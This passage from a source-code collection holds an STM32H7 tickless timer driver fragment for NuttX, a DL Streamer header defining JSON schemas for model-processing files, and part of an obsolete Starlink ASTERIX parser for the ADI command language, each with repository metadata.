active should also return success; a negated errno * value is returned on any failure. * * Assumptions: * May be called from interrupt level handling or from the normal tasking * level. Interrupts may need to be disabled internally to assure * non-reentrancy. * ****************************************************************************/ #ifndef CONFIG_SCHED_TICKLESS_ALARM int up_timer_cancel(struct timespec *ts) { irqstate_t flags; uint64_t usec; uint64_t sec; uint64_t nsec; uint32_t count; uint32_t period; /* Was the timer running? */ flags = enter_critical_section(); if (!g_tickless.pending) { /* No.. Just return zero timer remaining and successful cancellation. * This function may execute at a high rate with no timer running * (as when pre-emption is enabled and disabled). */ if (ts != NULL) { ts->tv_sec = 0; ts->tv_nsec = 0; } leave_critical_section(flags); return OK; } /* Yes.. Get the timer counter and period registers and disable the compare * interrupt. */ tmrinfo("Cancelling...\n"); /* Disable the interrupt. */ stm32_tickless_disableint(g_tickless.channel); count = STM32_TIM_GETCOUNTER(g_tickless.tch); period = g_tickless.period; g_tickless.pending = false; leave_critical_section(flags); /* Did the caller provide us with a location to return the time * remaining? */ if (ts != NULL) { /* Yes.. then calculate and return the time remaining on the * oneshot timer. */ tmrinfo("period=%lu count=%lu\n", (unsigned long)period, (unsigned long)count); #ifndef HAVE_32BIT_TICKLESS if (count > period) { /* Handle rollover */ period += UINT16_MAX; } else if (count == period) #else if (count >= period) #endif { /* No time remaining */ ts->tv_sec = 0; ts->tv_nsec = 0; return OK; } /* The total time remaining is the difference. Convert that * to units of microseconds. * * frequency = ticks / second * seconds = ticks * frequency * usecs = (ticks * USEC_PER_SEC) / frequency; */ usec = (((uint64_t)(period - count)) * USEC_PER_SEC) / g_tickless.frequency; /* Return the time remaining in the correct form */ sec = usec / USEC_PER_SEC; nsec = ((usec) - (sec * USEC_PER_SEC)) * NSEC_PER_USEC; ts->tv_sec = (time_t)sec; ts->tv_nsec = (unsigned long)nsec; tmrinfo("remaining (%lu, %lu)\n", (unsigned long)ts->tv_sec, (unsigned long)ts->tv_nsec); } return OK; } #endif /**************************************************************************** * Name: up_timer_start * * Description: * Start the interval timer. nxsched_timer_expiration() will be * called at the completion of the timeout (unless up_timer_cancel * is called to stop the timing. * * Provided by platform-specific code and called from the RTOS base code. * * Input Parameters: * ts - Provides the time interval until nxsched_timer_expiration() is * called. * * Returned Value: * Zero (OK) is returned on success; a negated errno value is returned on * any failure. * * Assumptions: * May be called from interrupt level handling or from the normal tasking * level. Interrupts may need to be disabled internally to assure * non-reentrancy. * ****************************************************************************/ #ifndef CONFIG_SCHED_TICKLESS_ALARM int up_timer_start(const struct timespec *ts) { uint64_t usec; uint64_t period; uint32_t count; irqstate_t flags; tmrinfo("ts=(%lu, %lu)\n", (unsigned long)ts->tv_sec, (unsigned long)ts->tv_nsec); DEBUGASSERT(ts); DEBUGASSERT(g_tickless.tch); /* Was an interval already running? */ flags = enter_critical_section(); if (g_tickless.pending) { /* Yes.. then cancel it */ tmrinfo("Already running... cancelling\n"); up_timer_cancel(NULL); } /* Express the delay in microseconds */ usec = (uint64_t)ts->tv_sec * USEC_PER_SEC + (uint64_t)(ts->tv_nsec / NSEC_PER_USEC); /* Get the timer counter frequency and determine the number of counts need * to achieve the requested delay. * * frequency = ticks / second * ticks = seconds * frequency * = (usecs * frequency) / USEC_PER_SEC; */ period = (usec * (uint64_t)g_tickless.frequency) / USEC_PER_SEC; count = STM32_TIM_GETCOUNTER(g_tickless.tch); tmrinfo("usec=%llu period=%08llx\n", usec, period); /* Set interval compare value. Rollover is fine, * channel will trigger on the next period. */ #ifdef HAVE_32BIT_TICKLESS DEBUGASSERT(period <= UINT32_MAX); g_tickless.period = (uint32_t)(period + count); #else DEBUGASSERT(period <= UINT16_MAX); g_tickless.period = (uint16_t)(period + count); #endif STM32_TIM_SETCOMPARE(g_tickless.tch, g_tickless.channel, g_tickless.period); /* Enable interrupts. We should get the callback when the interrupt * occurs. */ stm32_tickless_ackint(g_tickless.channel); stm32_tickless_enableint(g_tickless.channel); g_tickless.pending = true; leave_critical_section(flags); return OK; } #endif #ifdef CONFIG_SCHED_TICKLESS_ALARM int up_alarm_start(const struct timespec *ts) { size_t offset = 1; uint64_t tm = ((uint64_t)ts->tv_sec * NSEC_PER_SEC + ts->tv_nsec) / NSEC_PER_TICK; irqstate_t flags; flags = enter_critical_section(); STM32_TIM_SETCOMPARE(g_tickless.tch, CONFIG_STM32H7_TICKLESS_CHANNEL, tm); stm32_tickless_ackint(g_tickless.channel); stm32_tickless_enableint(CONFIG_STM32H7_TICKLESS_CHANNEL); g_tickless.pending = true; /* If we have already passed this time, there is a chance we didn't set the * compare register in time and we've missed the interrupt. If we don't * catch this case, we won't interrupt until a full loop of the clock. * * Since we can't make assumptions about the clock speed and tick rate, * we simply keep adding an offset to the current time, until we can leave * certain that the interrupt is going to fire as soon as we leave the * critical section. */ while (tm <= stm32_get_counter()) { tm = stm32_get_counter() + offset++; STM32_TIM_SETCOMPARE(g_tickless.tch, CONFIG_STM32H7_TICKLESS_CHANNEL, tm); } leave_critical_section(flags); return OK; } int up_alarm_cancel(struct timespec *ts) { #ifdef HAVE_32BIT_TICKLESS uint64_t nsecs = (((uint64_t)g_tickless.overflow << 32) | STM32_TIM_GETCOUNTER(g_tickless.tch)) * NSEC_PER_TICK; #else uint64_t nsecs = (((uint64_t)g_tickless.overflow << 16) | STM32_TIM_GETCOUNTER(g_tickless.tch)) * NSEC_PER_TICK; #endif ts->tv_sec = nsecs / NSEC_PER_SEC; ts->tv_nsec = nsecs - ts->tv_sec * NSEC_PER_SEC; stm32_tickless_disableint(CONFIG_STM32H7_TICKLESS_CHANNEL); return 0; } #endif #endif /* CONFIG_SCHED_TICKLESS */
0ef9796d49cdc1699303e4dab8ba799dfc433b91
3837a03fceb06dbe8d4546366750cf5c5478819d
/src/gst/bins/model_proc/model_proc_schema.h
fa520afdab63f7292aa799526008a9a5e0e2b790
[ "MIT" ]
permissive
dlstreamer/dlstreamer
b1453b1a79437cf74eaf0438e38f809dd82afae2
20f2bb6a0be2cfdb351ab2297a4ac7c4db090ed8
refs/heads/master
2023-08-18T14:54:36.496564
2023-03-03T20:31:16
2023-03-03T20:51:34
175,417,729
135
53
MIT
2023-02-07T14:59:51
2019-03-13T12:35:56
C++
UTF-8
C
false
false
15,622
h
model_proc_schema.h
/******************************************************************************* * Copyright (C) 2020-2022 Intel Corporation * * SPDX-License-Identifier: MIT ******************************************************************************/ #pragma once #include <nlohmann/json.hpp> const nlohmann::json MODEL_PROC_SCHEMA_V2_2 = R"({ "definitions": {}, "$schema": "http://json-schema.org/draft-07/schema#", "$id": "http://example.com/root.json", "type": "object", "title": "The Root Schema", "self": { "vendor": "Intel Corporation", "version": "2.2.0" }, "required": [ "json_schema_version", "input_preproc", "output_postproc" ], "properties": { "json_schema_version": { "$id": "#/properties/json_schema_version", "type": "string", "title": "The Json_schema_version Schema", "pattern": "^\\d+\\.\\d+\\.\\d+$", "default": "2.0.0", "examples": [ "2.0.0" ] }, "input_preproc": { "$id": "#/properties/input_preproc", "type": "array", "title": "The Input Model Preprocessing Schema", "items": { "$id": "#/properties/input_preproc/items", "type": "object", "title": "The Items Schema", "properties": { "layer_name": { "$id": "#/properties/input_preproc/items/properties/layer_name", "type": "string", "title": "The Layer Name Schema", "default": "ANY", "examples": [ "0" ], "pattern": "^(.*)$" }, "format": { "$id": "#/properties/input_preproc/items/properties/format", "type": "string", "title": "The Format Schema", "default": "image", "examples": [ "image" ], "pattern": "^(.*)$" }, "params": { "$id": "#/properties/input_preproc/items/properties/params", "type": "object", "title": "The Params Schema" } } } }, "output_postproc": { "$id": "#/properties/output_postproc", "type": "array", "title": "The Output_postproc Schema", "items": { "$id": "#/properties/output_postproc/items", "type": "object", "title": "The Items Schema", "properties": { "layer_name": { "$id": "#/properties/output_postproc/items/properties/layer_name", "type": "string", "title": "The Layer_name Schema", "default": "", "examples": [ "658" ], "pattern": "^(.*)$" }, "layer_names": { "$id": "#/properties/output_postproc/items/properties/layer_names", "type": "array", "title": "The Layer_names Schema", "items": { "$id": "#/properties/input_preproc/items/properties/alignment_points/items", "type": "string", "pattern": "^(.*)$", "title": "The Items Schema", "default": "", "examples": [ "layer_1", "layer_2" ] } }, "attribute_name": { "$id": "#/properties/output_postproc/items/properties/attribute_name", "type": "string", "title": "The Attribute_name Schema", "default": "", "examples": [ "face_id" ], "pattern": "^(.*)$" }, "format": { "$id": "#/properties/output_postproc/items/properties/format", "type": "string", "title": "The Format Schema", "default": "", "examples": [ "cosine_distance" ], "pattern": "^(.*)$" }, "labels": { "$id": "#/properties/output_postproc/items/properties/labels", "type": ["array", "string"], "title": "The Labels Schema", "items": { "$id": "#/properties/output_postproc/items/properties/labels/items", "type": ["string", "object"], "pattern": "^(.*)$", "title": "The Items Schema", "default": "", "examples": [ "dog", "cat" ] }, "examples": [ ["dog", "cat"], "path" ], "pattern": "^(.*)$" } } } } } })"_json; const nlohmann::json MODEL_PROC_SCHEMA_V2_1 = R"({ "definitions": {}, "$schema": "http://json-schema.org/draft-07/schema#", "$id": "http://example.com/root.json", "type": "object", "title": "The Root Schema", "self": { "vendor": "Intel Corporation", "version": "2.1.0" }, "required": [ "json_schema_version", "input_preproc", "output_postproc" ], "properties": { "json_schema_version": { "$id": "#/properties/json_schema_version", "type": "string", "title": "The Json_schema_version Schema", "pattern": "^\\d+\\.\\d+\\.\\d+$", "default": "2.0.0", "examples": [ "2.0.0" ] }, "input_preproc": { "$id": "#/properties/input_preproc", "type": "array", "title": "The Input Model Preprocessing Schema", "items": { "$id": "#/properties/input_preproc/items", "type": "object", "title": "The Items Schema", "required": [ "layer_name", "format" ], "properties": { "layer_name": { "$id": "#/properties/input_preproc/items/properties/layer_name", "type": "string", "title": "The Layer Name Schema", "default": "", "examples": [ "0" ], "pattern": "^(.*)$" }, "format": { "$id": "#/properties/input_preproc/items/properties/format", "type": "string", "title": "The Format Schema", "default": "", "examples": [ "image" ], "pattern": "^(.*)$" }, "params": { "$id": "#/properties/input_preproc/items/properties/params", "type": "object", "title": "The Params Schema" } } } }, "output_postproc": { "$id": "#/properties/output_postproc", "type": "array", "title": "The Output_postproc Schema", "items": { "$id": "#/properties/output_postproc/items", "type": "object", "title": "The Items Schema", "properties": { "layer_name": { "$id": "#/properties/output_postproc/items/properties/layer_name", "type": "string", "title": "The Layer_name Schema", "default": "", "examples": [ "658" ], "pattern": "^(.*)$" }, "layer_names": { "$id": "#/properties/output_postproc/items/properties/layer_names", "type": "array", "title": "The Layer_names Schema", "items": { "$id": "#/properties/input_preproc/items/properties/alignment_points/items", "type": "string", "pattern": "^(.*)$", "title": "The Items Schema", "default": "", "examples": [ "layer_1", "layer_2" ] } }, "attribute_name": { "$id": "#/properties/output_postproc/items/properties/attribute_name", "type": "string", "title": "The Attribute_name Schema", "default": "", "examples": [ "face_id" ], "pattern": "^(.*)$" }, "format": { "$id": "#/properties/output_postproc/items/properties/format", "type": "string", "title": "The Format Schema", "default": "", "examples": [ "cosine_distance" ], "pattern": "^(.*)$" } } } } } })"_json; const nlohmann::json MODEL_PROC_SCHEMA_V2 = R"({ "definitions": {}, "$schema": "http://json-schema.org/draft-07/schema#", "$id": "http://example.com/root.json", "type": "object", "title": "The Root Schema", "self": { "vendor": "Intel Corporation", "version": "2.0.0" }, "required": [ "json_schema_version", "input_preproc", "output_postproc" ], "properties": { "json_schema_version": { "$id": "#/properties/json_schema_version", "type": "string", "title": "The Json_schema_version Schema", "pattern": "^\\d+\\.\\d+\\.\\d+$", "default": "2.0.0", "examples": [ "2.0.0" ] }, "input_preproc": { "$id": "#/properties/input_preproc", "type": "array", "title": "The Input Model Preprocessing Schema", "items": { "$id": "#/properties/input_preproc/items", "type": "object", "title": "The Items Schema", "required": [ "layer_name", "format" ], "properties": { "layer_name": { "$id": "#/properties/input_preproc/items/properties/layer_name", "type": "string", "title": "The Layer Name Schema", "default": "", "examples": [ "0" ], "pattern": "^(.*)$" }, "format": { "$id": "#/properties/input_preproc/items/properties/format", "type": "string", "title": "The Format Schema", "default": "", "examples": [ "image" ], "pattern": "^(.*)$" }, "params": { "$id": "#/properties/input_preproc/items/properties/params", "type": "object", "title": "The Params Schema" } } } }, "output_postproc": { "$id": "#/properties/output_postproc", "type": "array", "title": "The Output_postproc Schema", "items": { "$id": "#/properties/output_postproc/items", "type": "object", "title": "The Items Schema", "properties": { "layer_name": { "$id": "#/properties/output_postproc/items/properties/layer_name", "type": "string", "title": "The Layer_name Schema", "default": "", "examples": [ "658" ], "pattern": "^(.*)$" }, "attribute_name": { "$id": "#/properties/output_postproc/items/properties/attribute_name", "type": "string", "title": "The Attribute_name Schema", "default": "", "examples": [ "face_id" ], "pattern": "^(.*)$" }, "format": { "$id": "#/properties/output_postproc/items/properties/format", "type": "string", "title": "The Format Schema", "default": "", "examples": [ "cosine_distance" ], "pattern": "^(.*)$" } } } } } })"_json; const nlohmann::json MODEL_PROC_SCHEMA_V1 = R"({ "definitions": {}, "$schema": "http://json-schema.org/draft-07/schema#", "$id": "http://example.com/root.json", "type": "object", "title": "The Root Schema", "self": { "vendor": "Intel Corporation", "version": "1.0.0" }, "required": [ "json_schema_version", "input_preproc", "output_postproc" ], "properties": { "json_schema_version": { "$id": "#/properties/json_schema_version", "type": "string", "title": "The Json_schema_version Schema", "pattern": "^\\d+\\.\\d+\\.\\d+$", "default": "1.0.0", "examples": [ "1.0.0" ] }, "input_preproc": { "$id": "#/properties/input_preproc", "type": "array", "title": "The Input_preproc Schema", "items": { "$id": "#/properties/input_preproc/items", "type": "object", "title": "The Items Schema", "properties": { "layer_name": { "$id": "#/properties/input_preproc/items/properties/layer_name", "type": "string", "title": "The Layer_name Schema", "default": "", "examples": [ "0" ], "pattern": "^(.*)$" }, "color_format": { "$id": "#/properties/input_preproc/items/properties/color_format", "type": "string", "title": "The Color_format Schema", "default": "", "examples": [ "BGR" ], "pattern": "^(.*)$" }, "converter": { "$id": "#/properties/input_preproc/items/properties/converter", "type": "string", "title": "The Converter Schema", "default": "", "examples": [ "alignment" ], "pattern": "^(.*)$" }, "alignment_points": { "$id": "#/properties/input_preproc/items/properties/alignment_points", "type": "array", "title": "The Alignment_points Schema", "items": { "$id": "#/properties/input_preproc/items/properties/alignment_points/items", "type": "number", "title": "The Items Schema", "default": 0.0, "examples": [ 0.31556875, 0.4615741071428571, 0.6826229166666667, 0.4615741071428571, 0.5002624999999999, 0.6405053571428571, 0.34947187500000004, 0.8246919642857142, 0.6534364583333333, 0.8246919642857142 ] } } } } }, "output_postproc": { "$id": "#/properties/output_postproc", "type": "array", "title": "The Output_postproc Schema", "items": { "$id": "#/properties/output_postproc/items", "type": "object", "title": "The Items Schema", "properties": { "layer_name": { "$id": "#/properties/output_postproc/items/properties/layer_name", "type": "string", "title": "The Layer_name Schema", "default": "", "examples": [ "658" ], "pattern": "^(.*)$" }, "attribute_name": { "$id": "#/properties/output_postproc/items/properties/attribute_name", "type": "string", "title": "The Attribute_name Schema", "default": "", "examples": [ "face_id" ], "pattern": "^(.*)$" }, "format": { "$id": "#/properties/output_postproc/items/properties/format", "type": "string", "title": "The Format Schema", "default": "", "examples": [ "cosine_distance" ], "pattern": "^(.*)$" } } } } } })"_json;
daad3b26496dd1413f4d9b2dbd714d63e8163196
8b98cd47f934d2a4a8d0b2842d3277b01f3fb7fa
/applications/obsolete/asterix/lib/adipkg.c
49be8b095ea391f50232dfa593a62a2e9eea93a2
[]
no_license
Starlink/starlink
1cc03b85eb78330a3622003b26b69c1733df50fe
2c374b3e97c9cebcc8f3bd2f8b4bb326eefe061a
refs/heads/master
2023-07-26T09:32:27.987319
2023-07-05T23:56:27
2023-07-05T23:56:27
5,169,323
139
45
null
2022-11-18T13:29:32
2012-07-24T18:15:25
Fortran
UTF-8
C
false
false
24,024
c
adipkg.c
/* * */ #include <string.h> /* String stuff from RTL */ #include <ctype.h> #include <stdio.h> #include <stdlib.h> #include <stdarg.h> #include "asterix.h" /* Asterix definitions */ #include "aditypes.h" #include "adimem.h" #include "adikrnl.h" /* Internal ADI kernel */ #include "adimem.h" /* Allocation routines */ #include "adistrng.h" #include "adicface.h" #include "adiexpr.h" #include "adisyms.h" #include "adilist.h" #include "adiparse.h" #include "adipkg.h" /* Prototypes for this sub-package */ #include "adi_err.h" /* ADI error codes */ #ifdef __MSDOS__ #define FILE_DELIMITER '\\' #define PATH_SEPARATOR ';' #else #define FILE_DELIMITER '/' #define PATH_SEPARATOR ':' #endif ADIobj ADI_G_pkglist = ADI__nullid; ADIobj *ADI_G_pkglisti = &ADI_G_pkglist; char *ADI_G_ldpath = NULL; size_t ADI_G_ldpath_len = 0; ADIlogical ADI_G_getenv = ADI__false; ADIobj adix_prs_cmd( ADIobj pstream, ADIstatus status ); ADIobj adix_prs_cmdlist( ADIobj pstream, char *termlist, int *choice, ADIstatus status ) { int len; ADIlogical more = ADI__true; /* More statements in list? */ ADIobj robj = ADI__nullid; /* Returned object */ ADIobj state; /* Parsed statement */ char *tcur; /* Cursor over terminator list */ ADIobj *ipoint = &robj; /* Check inherited status on entry */ _chk_stat_ret(ADI__nullid); /* While more statements */ while ( _ok(status) && more ) { /* If statement starts with a symbol, test against terminal list */ if ( ADIcurrentToken(pstream,status) == TOK__SYM ) { tcur = termlist; *choice = 1; while ( more && _ok(status) && (*tcur=='|') ) { len = 0; tcur++; while ( (tcur[len] != '|') && tcur[len] ) len++; if ( !strncmp(_strm_data(pstream)->ctok.dat,tcur,len) ) more = ADI__false; else (*choice)++; tcur += len; } } if ( more ) { state = adix_prs_cmd( pstream, status ); ADInextToken( pstream, status ); if ( _valid_q(state) ) lstx_inscel( state, &ipoint, status ); } } /* Use the null list to represent the null statement list */ if ( _null_q(robj) ) robj = adix_clone( ADIcvNulCons, status ); return robj; } ADIobj adix_prs_break( int narg, ADIobj args[], ADIstatus status ) { ADIobj pstream = args[0]; /* Skip the BREAK keyword */ ADInextToken( pstream, status ); /* Create the expression node */ return ADIetnNew( adix_clone( K_Break, status ), adix_clone( ADIcvNulCons, status ), status ); } ADIobj adix_prs_defclass( int narg, ADIobj args[], ADIstatus status ) { ADIobj pstream = args[0]; ADIlogical matchend = ADI__false; int oflags; /* Old stream flags */ ADIobj cargs[4] = {ADI__nullid, ADI__nullid, ADI__nullid, ADI__nullid}; /* Tell parser that end-of-lines can be ignored */ oflags = ADIsetStreamAttr( pstream, ADI_STREAM__EOLISP, status ); ADInextToken( pstream, status ); /* Get new class name from stream */ cargs[0] = prsx_symname( pstream, status ); ADInextToken( pstream, status ); /* Parse superclass list. This updates both the superclass list and the */ /* members list (due to inherited members) */ if ( ADIcurrentToken(pstream,status) == TOK__SYM ) ADIparseClassSupers( pstream, cargs+1, cargs+2, status ); /* Parse options */ if ( ADIifMatchToken( pstream, TOK__LBRAK, status ) ) { /* Create container */ adic_new0( "STRUC", &cargs[3], status ); /* Parse components */ prsx_namvalcmp( pstream, cargs[3], status ); if ( ADIcurrentToken(pstream,status) == TOK__RBRAK ) ADInextToken( pstream, status ); else ADIparseError( pstream, ADI__SYNTAX, "Right bracket expected at end of class option list", status ); } /* Parse the class member list */ if ( ADIifMatchToken( pstream, TOK__LBRACE, status ) ) { ADIparseClassMembers( pstream, cargs+2, status ); if ( ADIcurrentToken(pstream,status) == TOK__RBRACE ) matchend = ADI__true; else { adic_setecs( ADI__INVARG, "Closing brace expected", status ); } } else matchend = ADI__true; /* Restore stream flags */ ADIputStreamAttrs( pstream, oflags, status ); /* Match end token */ if ( matchend ) ADInextToken( pstream, status ); /* Define class, ignoring returned identifier */ ADIdefClass_i( 4, cargs, status ); return ADI__nullid; } ADIobj adix_prs_defproc( int narg, ADIobj args[], ADIstatus status ) { ADIobj pstream = args[0]; ADIobj actions; int choice; ADIobj defn; ADIobj robj = ADI__nullid; /* Skip the DEFPROC keyword */ ADInextToken( pstream, status ); /* Get the definition expression */ defn = ADIparseExpInt( pstream, ADI__nullid, 1, status ); /* Check it */ if ( _ok(status) ) { if ( ! _etn_q(defn) ) { adic_setecs( ADI__SYNTAX, "Invalid procedure definition", status ); } else { actions = adix_prs_cmdlist( pstream, "|endproc", &choice, status ); ADInextToken( pstream, status ); robj = ADIetnNew( adix_clone( K_DefProc, status ), lstx_new2( defn, actions, status ), status ); } } /* Create the expression node */ return robj; } ADIobj adix_prs_defrep( int narg, ADIobj args[], ADIstatus status ) { ADIobj extlist = ADI__nullid; ADIobj repname; ADIobj pstream = args[0]; /* Skip the DEFREP keyword */ ADInextToken( pstream, status ); /* Representation name */ if ( ADIcurrentToken(pstream,status) == TOK__CONST ) { repname = prsx_cvalue( pstream, status ); /* Parse optional list of associated file extensions */ if ( ADIifMatchToken( pstream, TOK__LBRACE, status ) ) extlist = ADIparseComDelList( pstream, ADI__nullid, TOK__RBRACE, ADI__true, status ); } else ADIparseError( pstream, ADI__SYNTAX, "Representation name expected", status ); /* Create the expression node */ return ADIetnNew( adix_clone( K_DefRep, status ), lstx_new2( repname, extlist, status ), status ); } ADIobj adix_prs_dowhile( int narg, ADIobj args[], ADIstatus status ) { ADIobj pstream = args[0]; int choice; ADIobj robj; /* Returned object */ ADIobj action; /* Action procedure */ ADIobj test; /* The WHILE test expression */ /* Skip the DO keyword */ ADInextToken( pstream, status ); /* End of line with "do" on it */ ADImatchToken( pstream, TOK__END, status ); /* Action list */ action = adix_prs_cmdlist( pstream, "|while", &choice, status ); ADInextToken( pstream, status ); /* Get the conditional expression */ ADImatchToken( pstream, TOK__LPAREN, status ); test = ADIparseExpInt( pstream, ADI__nullid, 1, status ); ADImatchToken( pstream, TOK__RPAREN, status ); /* Construct argument list */ robj = lstx_new2( action, test, status ); return ADIetnNew( adix_clone( K_DoWhile, status ), robj, status ); } ADIobj adix_prs_global( int narg, ADIobj args[], ADIstatus status ) { ADIobj pstream = args[0]; ADIobj rlist = ADI__nullid; ADIobj *ipoint = &rlist; ADIlogical more = ADI__true; /* Skip the GLOBAL keyword */ ADInextToken( pstream, status ); /* Parse the list of symbols and construct a list of expression nodes whose */ /* heads are the names of the symbols */ while ( ADIcurrentToken(pstream,status) == TOK__SYM && more ) { /* Get symbol name */ lstx_inscel( ADIetnNew( prsx_symname( pstream, status ), ADI__nullid, status ), &ipoint, status ); ADInextToken( pstream, status ); /* End of list if not a comma */ more = ADIifMatchToken( pstream, TOK__COMMA, status ); } if ( ! _valid_q(rlist) ) ADIparseError( pstream, ADI__SYNTAX, "Symbol name expected", status ); /* Return expression */ return ADIetnNew( adix_clone( K_Global, status ), rlist, status ); } ADIobj adix_prs_if( int narg, ADIobj args[], ADIstatus status ) { ADIobj pstream = args[0]; int choice; /* Keyword choice */ ADIlogical first = ADI__true; /* First time through complex loop? */ ADIlogical more = ADI__true; /* More ELSE clauses */ ADIobj robj = ADI__nullid; /* Returned object */ ADIobj action; /* Action procedure */ ADIobj *ipoint = &robj; /* List insertion point */ ADInextToken( pstream, status ); /* Get the conditional expression */ ADImatchToken( pstream, TOK__LPAREN, status ); lstx_inscel( ADIparseExpInt( pstream, ADI__nullid, 1, status ), &ipoint, status ); ADImatchToken( pstream, TOK__RPAREN, status ); /* There are 2 forms of 'if' statement. The simple form is simply * * if ( expr ) statement * * which is trapped here on the presence of the 'then' keyword. */ if ( ADIisTokenCstring( pstream, "then", status ) ) { /* While more if..else if..endif clauses */ while ( _ok(status) && more ) { /* Get the conditional expression unless the first time through */ if ( first ) first = ADI__false; else { ADImatchToken( pstream, TOK__LPAREN, status ); lstx_inscel( ADIparseExpInt( pstream, ADI__nullid, 1, status ), &ipoint, status ); ADImatchToken( pstream, TOK__RPAREN, status ); } /* Skip the 'then' token if present */ if ( ADIisTokenCstring( pstream, "then", status ) ) { ADInextToken( pstream, status ); ADImatchToken( pstream, TOK__END, status ); } else ADIparseError( pstream, ADI__SYNTAX, "THEN keyword expected", status ); /* Append truth action list */ lstx_inscel( adix_prs_cmdlist( pstream, "|else|endif", &choice, status ), &ipoint, status ); if ( _ok(status) ) { /* Match the ELSE or ENDIF */ ADInextToken( pstream, status ); /* The keyword was ELSE */ if ( choice == 1 ) { if ( ADIcurrentToken(pstream,status) == TOK__SYM ) { if ( ADIisTokenCstring( pstream, "if", status ) ) ADInextToken( pstream, status ); else ADIparseError( pstream, ADI__SYNTAX, "Illegal token - can only be IF () THEN or end of line at this point", status ); } else { /* Terminal ELSE clause */ ADImatchToken( pstream, TOK__END, status ); lstx_inscel( adix_prs_cmdlist( pstream, "|endif", &choice, status ), &ipoint, status ); /* Match the "endif" */ ADInextToken( pstream, status ); more = ADI__false; } } /* The keyword was ENDIF. Flag end of loop */ else more = ADI__false; } } } else { /* Parse a single statement, and put into the action list */ action = lstx_cell( adix_prs_cmd( pstream, status ), ADI__nullid, status ); /* Add action list to output args */ lstx_inscel( action, &ipoint, status ); } /* Return the expression tree */ return ADIetnNew( adix_clone( K_If, status ), robj, status ); } ADIobj adix_prs_local( int narg, ADIobj args[], ADIstatus status ) { ADIobj pstream = args[0]; ADIobj rlist = ADI__nullid; ADIobj *ipoint = &rlist; ADIlogical more = ADI__true; /* Skip the GLOBAL keyword */ ADInextToken( pstream, status ); /* Parse the list of symbols and construct a list of expression nodes whose */ /* heads are the names of the symbols */ while ( ADIcurrentToken(pstream,status) == TOK__SYM && more ) { /* Get symbol name */ lstx_inscel( ADIetnNew( prsx_symname( pstream, status ), ADI__nullid, status ), &ipoint, status ); ADInextToken( pstream, status ); /* End of list if not a comma */ more = ADIifMatchToken( pstream, TOK__COMMA, status ); } if ( ! _valid_q(rlist) ) ADIparseError( pstream, ADI__SYNTAX, "Symbol name expected", status ); /* Return expression */ return ADIetnNew( adix_clone( K_Local, status ), rlist, status ); } ADIobj adix_prs_print( int narg, ADIobj args[], ADIstatus status ) { ADIobj pstream = args[0]; ADIobj pargs = ADI__nullid; /* Skip the command name */ ADInextToken( pstream, status ); /* Gather arguments - separated by commas */ pargs = ADIparseComDelList( pstream, ADI__nullid, TOK__END, ADI__false, status ); /* Return expression */ return ADIetnNew( adix_clone( K_Print, status ), pargs, status ); } ADIobj adix_prs_raise( int narg, ADIobj args[], ADIstatus status ) { ADIobj exname, exdata = ADI__nullid; ADIobj pstream = args[0]; /* Skip the RAISE keyword */ ADInextToken( pstream, status ); /* Get exception name */ if ( ADIcurrentToken(pstream,status) == TOK__SYM ) { exname = prsx_symname( pstream, status ); ADInextToken( pstream, status ); /* Optional data */ if ( ADIcurrentToken(pstream,status) == TOK__CONST ) exdata = prsx_cvalue( pstream, status ); } else ADIparseError( pstream, ADI__SYNTAX, "Exception name expected", status ); /* Create the expression node */ return ADIetnNew( adix_clone( K_Raise, status ), _null_q(exdata) ? lstx_cell( exname, ADI__nullid, status ) : lstx_new2( exname, exdata, status ), status ); } ADIobj adix_prs_require( int narg, ADIobj args[], ADIstatus status ) { ADIobj pstream = args[0]; ADIobj rlist = ADI__nullid; ADIobj *ipoint = &rlist; ADIlogical more = ADI__true; /* Skip the REQUIRE keyword */ ADInextToken( pstream, status ); /* Parse the list of strings and construct a list of expression nodes whose */ /* heads are the names of the symbols */ while ( ADIcurrentToken(pstream,status) == TOK__CONST && more ) { /* Get package name */ lstx_inscel( prsx_cvalue( pstream, status ), &ipoint, status ); /* End of list if not a comma */ more = ADIifMatchToken( pstream, TOK__COMMA, status ); } if ( ! _valid_q(rlist) ) ADIparseError( pstream, ADI__SYNTAX, "Package name string expected", status ); /* Return expression */ return ADIetnNew( adix_clone( K_Require, status ), rlist, status ); } ADIobj adix_prs_return( int narg, ADIobj args[], ADIstatus status ) { ADIobj pstream = args[0]; ADIobj defn; /* Skip the RETURN keyword */ ADInextToken( pstream, status ); /* Get the return expression */ defn = ADIparseExpInt( pstream, ADI__nullid, 1, status ); return ADIetnNew( adix_clone( K_Return, status ), lstx_cell( defn, ADI__nullid, status ), status ); } ADIobj adix_prs_try( int narg, ADIobj args[], ADIstatus status ) { ADIobj pstream = args[0]; int choice; /* Keyword choice */ ADIlogical first = ADI__true; /* First time through complex loop? */ ADIlogical more = ADI__true; /* More ELSE clauses */ ADIobj robj = ADI__nullid; /* Returned object */ ADIobj action; /* Action procedure */ ADIobj *ipoint = &robj; /* List insertion point */ /* Skip the TRY keyword */ ADInextToken( pstream, status ); /* End of line with TRY on it */ ADImatchToken( pstream, TOK__END, status ); /* Get actions which might trigger exceptions */ action = adix_prs_cmdlist( pstream, "|catch|finally|endtry", &choice, status ); lstx_inscel( action, &ipoint, status ); /* While more clauses*/ do { /* Command list */ action = adix_prs_cmdlist( pstream, "|catch|finally|endtry", &choice, status ); } while ( more && _ok(status) ); /* There are 2 forms of 'if' statement. The simple form is simply * * if ( expr ) statement * * which is trapped here on the presence of the 'then' keyword. */ if ( ADIisTokenCstring( pstream, "then", status ) ) { /* While more if..else if..endif clauses */ while ( _ok(status) && more ) { /* Get the conditional expression unless the first time through */ if ( first ) first = ADI__false; else { ADImatchToken( pstream, TOK__LPAREN, status ); lstx_inscel( ADIparseExpInt( pstream, ADI__nullid, 1, status ), &ipoint, status ); ADImatchToken( pstream, TOK__RPAREN, status ); } /* Skip the 'then' token if present */ if ( ADIisTokenCstring( pstream, "then", status ) ) { ADInextToken( pstream, status ); ADImatchToken( pstream, TOK__END, status ); } else ADIparseError( pstream, ADI__SYNTAX, "THEN keyword expected", status ); /* Append truth action list */ lstx_inscel( adix_prs_cmdlist( pstream, "|else|endif", &choice, status ), &ipoint, status ); if ( _ok(status) ) { /* Match the ELSE or ENDIF */ ADInextToken( pstream, status ); /* The keyword was ELSE */ if ( choice == 1 ) { if ( ADIcurrentToken(pstream,status) == TOK__SYM ) { if ( ADIisTokenCstring( pstream, "if", status ) ) ADInextToken( pstream, status ); else ADIparseError( pstream, ADI__SYNTAX, "Illegal token - can only be IF () THEN or end of line at this point", status ); } else { /* Terminal ELSE clause */ 